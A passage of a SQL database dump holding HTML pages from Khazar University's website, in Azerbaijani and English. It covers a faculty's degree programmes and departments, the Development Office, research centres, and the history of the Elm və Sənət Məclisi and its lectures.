cellspacing=\"0\" cellpadding=\"0\" width=\"671\">\r\n <tbody><tr>\r\n  <td width=\"314\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Bakalvr\r\n  ixtisasları:</strong></p>\r\n  </td>\r\n  <td width=\"357\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Magistr\r\n  ixtisasları:</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"314\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Beynəlxalq münasibətlər</p>\r\n  </td>\r\n  <td width=\"357\" style=\"\" width:267.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:15.1pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Beynəlxalq münasibətlər tarixi və nəzəriyyəsi </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"314\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">İngilis dili və Ədəbiyyatı</p>\r\n  </td>\r\n  <td width=\"357\" style=\"\" width:267.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:14.45pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Beynəlxalq münasibətlər və diplomatiya </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"314\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Dizayn</p>\r\n  </td>\r\n  <td width=\"357\" style=\"\" width:267.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:15.1pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Regionşünaslıq </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"314\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Regionşünaslıq</p>\r\n  </td>\r\n  <td width=\"357\" style=\"\" width:267.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:14.45pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Konfliktologiya</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"314\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Politologiya</p>\r\n  </td>\r\n  <td width=\"357\" style=\"\" width:267.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:15.1pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Dünya siyasi prosesləri </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"314\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Psixologiya</p>\r\n  </td>\r\n  <td width=\"357\" style=\"\" width:267.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:14.45pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Dilşünaslıq (İngilis dili üzrə)</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"314\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Tərcümə</p>\r\n  </td>\r\n  <td width=\"357\" style=\"\" width:267.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:15.1pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Tərcümə (İngilis dili üzrə) </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"314\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"357\" style=\"\" width:267.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:14.45pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Klinik Psixologiya</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"314\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"357\" style=\"\" width:267.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:5.45pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Ümumi Psixologiya</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>\r\n<p><span style=\"text-align:justify\"><br></span></p><p style=\"text-align:justify\"><span style=\"text-align:justify\">Fakültəmizdə yuxarıda adları qeyd olunmuş bütün bu ixtisaslar üzrə tədris\r\nİngilis dilində aparılır. Eyni zamanda ixtisasdan asılı olaraq tələbələrə\r\nikinci xarici dil kimi Alman, Fransız, Çin, Ərəb, Fars və digər dilləri seçmək\r\nimkanı yaradılır. Dünyanın müxtəlif ölkələrində\r\nfəaliyyət göstərə biləcək, yüksək ixtisaslı mütəxəssislər olacaq tələbələrə dil\r\ndərsləri tədris olunmaqla yanaşı, onların öz profillərinə uyğun arzularını\r\nreallaşdıra biləcək &nbsp;ixtisas fənnləri və seçmə\r\nfənnlər də təqdim olunur.</span></p>\r\n<p style=\"text-align: justify;\" text-align:justify;text-indent:.5in;line-height:115%;background:white\"\"=\"\">Beləliklə, fakültəmizdə öz peşəsinin əsl mütəxəssisi\r\nolan, innovativ metodlarla işləyən müəllimlər tərəfindən təşkil olunmuş\r\nyaradıcı, effektiv və keyfiyyətli tədris mühiti yaranmış olur.</p>\r\n<p><strong>Fakültənin nəzdində\r\nfəaliyyət göstərən departamentlər (kafedralar) aşağıdakılardır:</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·İngilis dili və Ədəbiyyatı departamenti</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·Siyasi elm və Beynəlxalq münasibətlər departamenti</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·Psixologiya departamenti</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·Tarix və Arxeologiya departamenti</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·Dillər və Mədəniyyətlər departamenti</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·Dizayn departamenti</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·İncəsənət və Musiqi departamenti</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·Fəsəfə və Sosiologiya departamenti</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·Hüquq departamenti</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:-.25in;line-height:normal\"=\"\">·Jurnalistika departamenti</p>'),(227,67,'az','Yay məktəbi','Yay məktəbi',''),(228,18,'az','İnstitut və Mərkəzlər','İnstitut və Mərkəzlər','<div><br></div><div><br></div><div><span style=\"font-family:\'times new roman\', times, serif;font-size:medium\">İnstitut və Mərkəzlər </span> <br></div>'),(229,99,'az','İnkişaf ofisi','İnkişaf ofisi','<p>Xəzər Universiteti İnkişaf ofisi&nbsp;universitetin fəaliyyətinə və uğurlarına yaxından dəstək olmaq məqsədi ilə yaradılmışdır. Ofis&nbsp;universitetin rektoru və təsisçisinin birbaşa tabeliyindədir və təsdiq edilmiş inkişaf proqramını idarə edir, universitetin inkişafını nəzarətdə saxlayır, şura üzvləri, donorlar, məzunlar və administrasiya ilə məhsuldar əlaqələrin qurulmasını təmin edir.</p><p>İnkişaf ofisi&nbsp;aşağıdakı sahələrdə fəaliyyət göstərir:</p><ul><li>Fandreyzinq</li><li>Məzunlarla əlaqələr</li><li>Valideynlərlə əlaqələr</li><li>Donorlarla əlaqələr</li><li>Təşkilati və korporativ əlaqələr</li></ul><p>İnkişaf ofisi  fandreyzinq ilə bağlı olan bütün işləri, tədbirləri hazırlayır, həyata keçirir və idarə edir.&nbsp;Ofisin   heyəti donorlarla əlaqələrin qurulub inkişaf etdirilməsi sahəsində bütün fəaliyyət və strategiyaları idarə edirlər. Eləcə də ofisi  fondlar və korporasiyalar üçün qrant təkliflərini inkişaf etdirmək, illik fandreyzinq proqramlarını inkişaf etdirmək və həyata keçirmək, hərtərəfli təşviqat proqramını inkişaf etdirmək missiyası daşıyır.</p><p>İnkişaf ofisində aşağıdakı mərkəzlər fəaliyyət göstərir:</p><ul><li><a href=\"http://www.khazar.org/az/menus/103/peshe_merkezi\">Peşə&nbsp;mərkəzi</a></li><li><a href=\"http://www.khazar.org/az/menus/786/elilliyi_olan_telebeler_uchun_merkez\">Əlilliyi olan tələbələr üçün mərkəz</a></li><li><a href=\"http://www.khazar.org/az/menus/1002/mezunlar\">Məzunlarla iş mərkəzi</a></li></ul>'),(230,100,'az','KCRC','KCRC','<div><br></div><div><br></div><div><img src=\"http://www.khazar.org/files/social/15_04_30_kcrc.jpg\" style=\"border:0px  #000000;width:600px;height:246px;margin:7px;vertical-align:baseline\"><div><p>Khazar Computing Research Center (KCRC), established in 2015 &nbsp;at Khazar University (the best university in Azerbaijan according to QS university ranking) is a joint venture by Khazar academics to promote high quality research based learning in areas associated with computer science. The primary aim of the center is to develop state−of−the−art computer software and apply these tools in physical and biological sciences and engineering. In the coming years, KCRC is set to grow to attract young research scholars from and outside Azerbaijan aiming to become a leading center for computational research in the Caucasus. Collaboration with other research groups with common interest is also envisaged.</p><p>We particularly welcome students with good programming and mathematical skills to the center. The center provides a &nbsp;good opportunity for students to apply the knowledge they acquired during their undergraduate/graduate studies.&nbsp;</p><div><br></div></div>  <br></div>'),(231,101,'az','Miqrasiya Araşdırmalar Mərkəzi','Miqrasiya Araşdırmalar Mərkəzi','<p><img src=\"/files/social/migration.jpg\" style=\"border:0px  #000000;width:600px;height:218px;margin:7px;vertical-align:baseline\"><br></p><p>The Migration Competence Center is a part of the Regional Research Network which was established within the framework of the EU’s&nbsp;<a href=\"http://eacea.ec.europa.eu/tempus/\" target=\"_blank\">Tempus project</a>&nbsp;and&nbsp;<a href=\"http://www.unimig.tsu.edu.ge/\">UNIMIG project</a>, aims to foster and conduct academic research, train academicians, researchers, students, and practitioners; disseminate research results conducted under its auspices; and raise public awareness through seminars, conferences, publications, the internet, and the&nbsp;mass media. The center provides a migration-related database on national, regional and international levels. It is also committed to actively collaborating with other academic institutions, government and non-government organizations, and the local community.</p><p>Click here to download&nbsp;<a href=\"http://www.khazar.org/files/demo/migration_brochure.pdf\" target=\"_blank\">flyer</a></p>'),(232,102,'az','Elm və Sənət Məclisi','Elm və Sənət Məclisi','<h3><strong>Təsis</strong></h3><p><strong><a href=\"http://elmsenet.khazar.org/\"><img src=\"http://www.khazar.org/files/image/elm%20ve%20ince%20senet.jpg\" style=\"float:left;width:200px;height:281px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Elm və Sənət Məclisi</a></strong>&nbsp;–&nbsp;<a title=\"Xəzər Universiteti\" href=\"http://az.wikipedia.org/wiki/X%C9%99z%C9%99r_Universiteti\">Xəzər Universitetində</a> alim və ziyalıların elm, mədəniyyət və incəsənətin mühüm məsələləri haqqında mütəmadi olaraq keçirilən konfrans və ya seminarlar, onların müzakirə olunduğu məclisdir. Elm və Sənət Məclisi 2006-cı ildə Professor Hamlet İsaxanlı tərəfindən təsis edilmişdir. Bu məclis son illərdə Azərbaycanda elm və sənət adamlarının, ziyalıların məmnuniyyətlə gəldikləri bir yerdir. Adətən ayda bir və ya iki dəfə keçirilən \"Elm və Sənət Məclisi\"nin materialları nəfis şəkildə çap olunur.</p><p><br></p><br><h3><strong>Tarix</strong></h3><p>Elm və Sənət Məclisinin ilk toplantısı&nbsp;<a title=\"2006\" href=\"http://az.wikipedia.org/wiki/2006\">2006</a>-cı il oktyabrın&nbsp;<a title=\"10\" href=\"http://az.wikipedia.org/wiki/10\">10</a>-da keçirilib. İndiyə qədər Azərbaycandan olan tanınmış alimlərlə yanaşı, dünyanın bir sıra ölkələrindən, o cümlədən, ABŞ, Türkiyə, İngiltərə, Şotlandiya, İtaliya, Rusiya, Misir, Hollandiya, İran, Gürcüstan və s. ölkələrdən dəvət olunmuş, öz sahələrində böyük söz və nüfuz sahibi olan alimlər Elm və Sənət Məclisində müxtəlif mövzularda maraqlı mühazirələr oxumuşlar. Hazırda məclisin materiallarından ibarət 2 toplu kitab şəklində çap olunmuş, digəriləri çapolunma ərəfəsindədir.</p><h3>Məqsəd</h3><p>Elm və Sənət Məclisinin yaranma zərurəti, ümumi iş planı və məqsədləri barədə bu məclisin yaradıcısı və sədri Hamlet İsaxanlının \"Elm və Sənət Məclisi-ünsiyyət ehtiyacı\" adlı ön sözü:</p><h3><strong><em>Elm və sənət məclisi –&nbsp;ünsiyyət ehtiyacı</em></strong></h3><p>Elmi tədqiqatları və sənət əsərlərini ayrı-ayrı insanlar təklikdə&nbsp;yazıb-yaradır,&nbsp;uzun&nbsp;illər&nbsp;öz&nbsp;içində,&nbsp;beynində,&nbsp;ürəyində gəzdirir, bəsləyib yetişdirir və bir gün, sanki qeyri-ixtiyari&nbsp;surətdə, qəflətən üzə çıxarır. Elm və sənət nümunələri bəzən kiçik bir&nbsp;kollektivin,&nbsp;bir&nbsp;neçə&nbsp;nəfərin&nbsp;birgə&nbsp;səyləri nəticəsində&nbsp;də meydana gələ bilir. Bu halda da, yaradıcı qrupun üzvləri ayrı-ayrılıqda düşüncələrə dalır, öz iştirakını fərdi bilik, qabiliyyət və enerjisi hesabına təmin edir, ümumi məsələnin həlli isə, əlbəttə, yenə də ünsiyyət, birgə təhlil və müzakirələr yolu ilə baş tutur.</p><p>Elm və sənət adamları,&nbsp;ümumiyyətlə, yaradıcı, ziyalı insanlar&nbsp;həmişə&nbsp;öz&nbsp;aralarında&nbsp;ünsiyyətə&nbsp;ehtiyac&nbsp;duymuş,&nbsp;buna həmişə çox əhəmiyyət vermişlər. Yeni kəşfimizi, yeni ideyamızı, yeni əsərimizi, içimizdə qovrulan düşüncələrimizi bizə bənzər birinə, bizi anlayacaq birinə söyləmək, sevinc və qayğımızı bölüşmək ehtiyacı danılmazdır. Peşəkar bir insanla ünsiyyətdə olmaq, onunla söhbətləşib fikir mübadiləsi etmək, onu yeni tapıntı və ya orijinal fikirlə sevindirmək xoş və gözəl işdir. Onu sevindirdiyimiz, yaxşı mənada təəccübləndirdiyimiz üçün özümüz də sevinirik, müsbət enerji toplayırıq, ruhlanırıq, həzz alırıq... Peşəkar bir insanın tənqidi fikirləri və məsləhəti bizim daha dərinlərə baş vurmaq, daha əhatəli olmaq, həqiqətə daha yaxın olmaq imkanımızı artırır.&nbsp;</p><p>Müzakirə&nbsp;olunan&nbsp;mövzu,&nbsp;elm&nbsp;və&nbsp;ya&nbsp;sənət&nbsp;sahəsi&nbsp;üzrə, mümkündür ki, mütəxəssis olmayan, amma geniş düşüncəli və həssas yaradıcı insanın verdiyi gözlənilməz suallar, öz sahəsindən qaynaqlanan fərqli görüş, fikir və münasibət də bizi düşündürə bilir, bizə təsir edir. Əlbəttə, yeni olanı bilmək ehtirası, yeni olanı mütəxəssislərin öz ağzından eşitmək həvəsi ilə yanaşı maarifləndirmək istəyi də yaradıcı insanları bir yerə toplayan mühüm amillər sırasındadır.&nbsp;</p><p>Lomonosov adına Moskva Dövlət Universitəsinin aspiranturasında oxuduğum və sonralar orada, eləcə də Steklov adına Riyaziyyat&nbsp;İnstitutunda&nbsp;tədqiqatla&nbsp;məşğul&nbsp;olduğum&nbsp;zamanlar elmi&nbsp;fəaliyyətdə&nbsp;ünsiyyətin nə&nbsp;qədər&nbsp;mühüm&nbsp;olduğunu&nbsp;anladım. Məşhur alimlərin, aspirant və tələbələrin bir yerə toplaşdığı həftəlik elmi seminarların dünyada görülən mühüm işlərdən xəbər tutmaq, maraqlandığımız elmi problemləri təhlil etmək, elmdə&nbsp;yeni&nbsp;yollar açan insanlarla birlikdə&nbsp;müzakirələrə qatılmaq baxımından əvəzi və alternativi yox idi. Elmi məktəb deyilən&nbsp;fenomeni&nbsp;biz&nbsp;birinci&nbsp;növbədə&nbsp;məhz&nbsp;bu&nbsp;seminarların varlığı və qeyri-adi gücündə görür və hiss edirdik.&nbsp;</p><p>Sosialist blokunun dağılması, maddiyyətin yeni kapitalist münasibətləri əsasında fövqəladə güc qazanması və onun yaratdığı qarışıq hisslər, qloballaşmanın mövcud mənəvi dəyərləri alt-üst etməsi insanları, o cümlədən yazıb-yaradan zümrəni çaş-baş saldı. Elmi tədqiqatlara maraq azaldı, təhsil sistemi sistemsizliyə düçar oldu. Ziyalıların, elm adamlarının və müəllimlərin, mədəniyyət işçilərinin “ağıllı” bir yerə yığışmağa, dərdləşməyə ehtiyacı artdı. Giley-güzardan təhlilə, adi dərdləşmədən araşdırmalara&nbsp;keçmək,&nbsp;elmi-mədəni&nbsp;mühiti&nbsp;canlandırmaq, dünya&nbsp;elmində,&nbsp;sənətdə baş&nbsp;verənlərdən&nbsp;xəbər&nbsp;tutmaq günümüzün tələbi, ruhumuzun təməli olan bu arzuların həqiqətə çevrilməsinə necə kömək edək?</p><p>2006-cı ilin yaz-yay aylarında Elm və Sənət Məclici təşkil etmək, heç bir sahə məhdidiyyəti qoymadan vacib hesab etdiyimiz&nbsp;problemləri müzakirəyə çıxarmaq barədə fikrimiz qətiləşdi. Hər dəfə bir və ya iki mütəxəssisin məruzəsini dinləmək, onları sual atəşinə tutmaq, söz, fikir söyləmək istəyənləri dinləmək,&nbsp;məruzə&nbsp;və&nbsp;müzakirənin&nbsp;nəticələrini&nbsp;qruplaşdırıb&nbsp;kitab şəklində nəşr etmək qərarına gəldik. 2006-ci il oktyabrın 10-da birinci məclis baş tutdu. Həm Azərbaycandan, həm də müxtəlif ölkələrdən&nbsp;mütəxəssisləri,&nbsp;elm&nbsp;və&nbsp;sənət&nbsp;adamlarını&nbsp;məruzə üçün dəvət etməyə başladıq. Qısa zamanda Elm və Sənət Məclisimiz tanındı və sevildi.&nbsp;</p><h3>Məclislər</h3><p><strong>Elm və Sənət Məclisi</strong>ndə edilmiş məruzələr:</p><ol><p><strong>1</strong><strong>.&nbsp;</strong><strong>10</strong><strong>.10.2006</strong>. Fəlsəfə və Poeziya. <strong>Hamlet İsaxanlı</strong><strong>. Camal\r\nMustafayev</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>2</strong><strong>.</strong> <strong>31.</strong><strong>10</strong><strong>.2006</strong>.&nbsp;İslamda Sufilik. <strong>Hamlet İsaxanlı.</strong><strong> Camal Mustafayev</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>3</strong><strong>.&nbsp;22.11.2006</strong>. Orta Əsrlərdə Tərcümə Fəaliyyəti. “Quran”ın Tərcümələri. <strong>Mirzə Rəsul </strong><strong>İsmayılzadə</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>4</strong><strong>.&nbsp;</strong><strong>12 </strong><strong>.12</strong><strong> 2006</strong>. Orta Əsrlər Ərəb Dünyasında Türklər. Afşin. <strong>Nərgiz Axundova</strong><strong>. </strong><strong>Fərda Əsədov</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>5.</strong> <strong>23.01.</strong><strong> 2007</strong>.&nbsp;Orta Əsrlərdə Azərbaycan Türkcəsinə Tərcümələr\r\n(XV-XVI əsrlər) <strong>Mövsüm Nağısoylu</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>6</strong><strong>.</strong> <strong>13.02.</strong><strong>2007</strong>.&nbsp;Türk Dünyası Bu Gün. Azsaylı Türk Soyları.<strong>Güllü Yoloğlu </strong>(AMEA-nın\r\nArxeologiya və Etnoqrofiya İnstitutu)&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>7</strong><strong>.&nbsp;</strong><strong>27</strong><strong>.02. 2007.&nbsp;</strong>Hürufiliyin Mahiyyəti və Rəmzləri. <strong>Nəsib Göyüşov</strong>(AMEA-nın Əlyazmalar\r\nİnstitutu)&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>8</strong><strong>.</strong> <strong>13.03.</strong><strong>2007</strong>.&nbsp;Sovet-Amerika Qarşıdurması: Azərbaycan Böhranı və Soyuq\r\nMüharibə. <strong>Cəmil Həsənli</strong> (BDU)&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>9</strong><strong>.</strong> <strong>03.04.</strong><strong>2007</strong>.&nbsp;Etnogenezis və Azərbaycan Tarixçiliyi. <strong>Süleyman Əliyarlı</strong> (Əməkdar elm\r\nxadimi,&nbsp;Tarix elmləri doktoru,&nbsp;BDU)&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>10</strong><strong>.</strong> <strong>08.05.</strong><strong>2007</strong><strong>.&nbsp;</strong>Gürcü Xalqının Mədəniyyəti\r\nvə Milli Psixologiysı: müqayisəli təhlil&nbsp;<strong>İmir Məmmədli</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>11</strong>. <strong>22.05.</strong><strong>2007</strong>.&nbsp;Nəsillərin Mənəvi Varisliyi. <strong>Camal Mustafayev</strong> (Əməkdar elm\r\nxadimi,&nbsp;fəlsəfə elmləri doktoru)&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>12</strong>. <strong>25.10.</strong><strong> 2007</strong>.&nbsp;Qloballaşan Dünyada Mənəvi İlişkilər. <strong>Mustafa İslamoğlu</strong> (AKABE Vakfı,Türkiyə)&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>13</strong><strong>.</strong> <strong>16.11.</strong><strong>2007</strong>.&nbsp;Avrasiyada Hunlar. Tarix, Mədəniyyət və Kimlik. <strong>Hamlet İsaxanlı</strong>&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>14</strong><strong>.</strong> <strong>04.12. 2007</strong>. Şəms Təbrizi və\r\nMövlana Cəlaləddin Rumi: Mif və Gerçəklik. <strong>Elnur</strong> <strong>Nəsirov&nbsp;</strong>(Xəzər\r\nUniversiteti)<strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>15.</strong> <strong>27.12.</strong><strong> 2007</strong>. Şəhər Mədəniyyəti. Tarix, Bu Gün və Gələcək. <strong>İsmail Serageldin</strong> (İsgəndəriyyə Kitabxanası,&nbsp;Misir)&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>16</strong><strong>.</strong> <strong>26.01.</strong><strong> 2008</strong>.&nbsp;Erməni Genosidi Məsələsi Haqqında.&nbsp;<strong>Norman Stone&nbsp;</strong>(Koç Universitəsi,&nbsp;Türkiyə)&nbsp;</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>17.</strong> <strong>29.01.</strong><strong>2008</strong><strong>.&nbsp;</strong>Edvard Said. Orientalizm və Postkolonial Araşdırmalar. <strong>Turac Atabaki</strong> (Amsterdam və Leiden\r\nUniversiteti, Hollandiya)&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>18.</strong> <strong>15.02.</strong><strong>2008.&nbsp;</strong>Türkiyədə Azərbaycan Ədəbiyyatının və Mədəniyyətinin\r\nAraşdırılması Tarixi. <strong>Yavuz Akpınar&nbsp;</strong><strong></strong>(Ege Universitəsi, Türkiyə)<strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>19.</strong><strong> 20.05.</strong><strong> 2008</strong>.&nbsp;Azərbaycan-Alban Tarixinə Aid Qədim Yazıların Oxunuşu. <strong>Firudin Ağasıoglu</strong><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>20.</strong> <strong>10.06.</strong><strong>2008</strong>.&nbsp;Azərbaycan Mədəniyyəti Elektron Məkanda. İnternet Şəbəkəsində Ədəbiyyat. <strong>Tariyel Məmmədov,&nbsp;</strong><strong>Aydın Xan Əbilov</strong> (yazıçı-kulturoloq)</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>21</strong>.&nbsp;<strong>04.11.</strong><strong>2008</strong>.&nbsp;Azərbaycanlılar Amasiyada və İstanbulda. <strong>İbrahim Yıldırım</strong> (İstanbul\r\nUniversitəsi,&nbsp;Türkiyə)&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>22.</strong> <strong>25.11.</strong><strong> 2008</strong>.F.Nietzsche&nbsp;– Tarixin Ən Çılğın Filosofu. <strong>Ağalar Məmmədov</strong>.<strong>Mail Yaqubov</strong> (Xəzər Universiteti)&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>23</strong>. <strong>16.12.</strong><strong> 2008</strong>. Sigmund Freud – Psixoanalizin Atası. <strong>Ülkər İsayeva (</strong>Xəzər Universiteti)&nbsp;</p>\r\n<p><strong>24</strong>. <strong>13.01.2009</strong>.&nbsp;Ibn\r\nXəldun: Böyük İslam Filosofu və Sosioloqu. <strong>Ahmet\r\nArslan</strong> (Ege Universitəsi, Türkiyə)</p><p><strong>25</strong><strong>.&nbsp;15.01.09</strong>.&nbsp;İslam və Modernləşmə. <strong>Ahmet Arslan</strong> (Ege Universitəsi,&nbsp;Türkiyə)</p>\r\n<p><strong>26.</strong><strong> 27.01.09</strong>.&nbsp;M.Ə.Rəsulzadə və Azərbaycan İstiqlalı. <strong>Şirməmməd Hüseynov</strong> (BDU)</p>\r\n<p><strong>27.&nbsp;</strong><strong>10.02.09</strong>.&nbsp;Qədim Türk Tarixinin Problemləri.&nbsp;<strong>Serqey Qriqoryeviç Klyaştornıy</strong> (Sankt-Peterburq Dövlət Universiteti,&nbsp;Rusiya)</p>\r\n<p><strong>28</strong><strong>. 12.02.09.&nbsp;</strong>Xəzərlərin Erkən Tarixi Asiya Aspekti. <strong>Serqey Qriqoryeviç Klyaştornıy</strong> (Sankt-Peterburq Dövlət 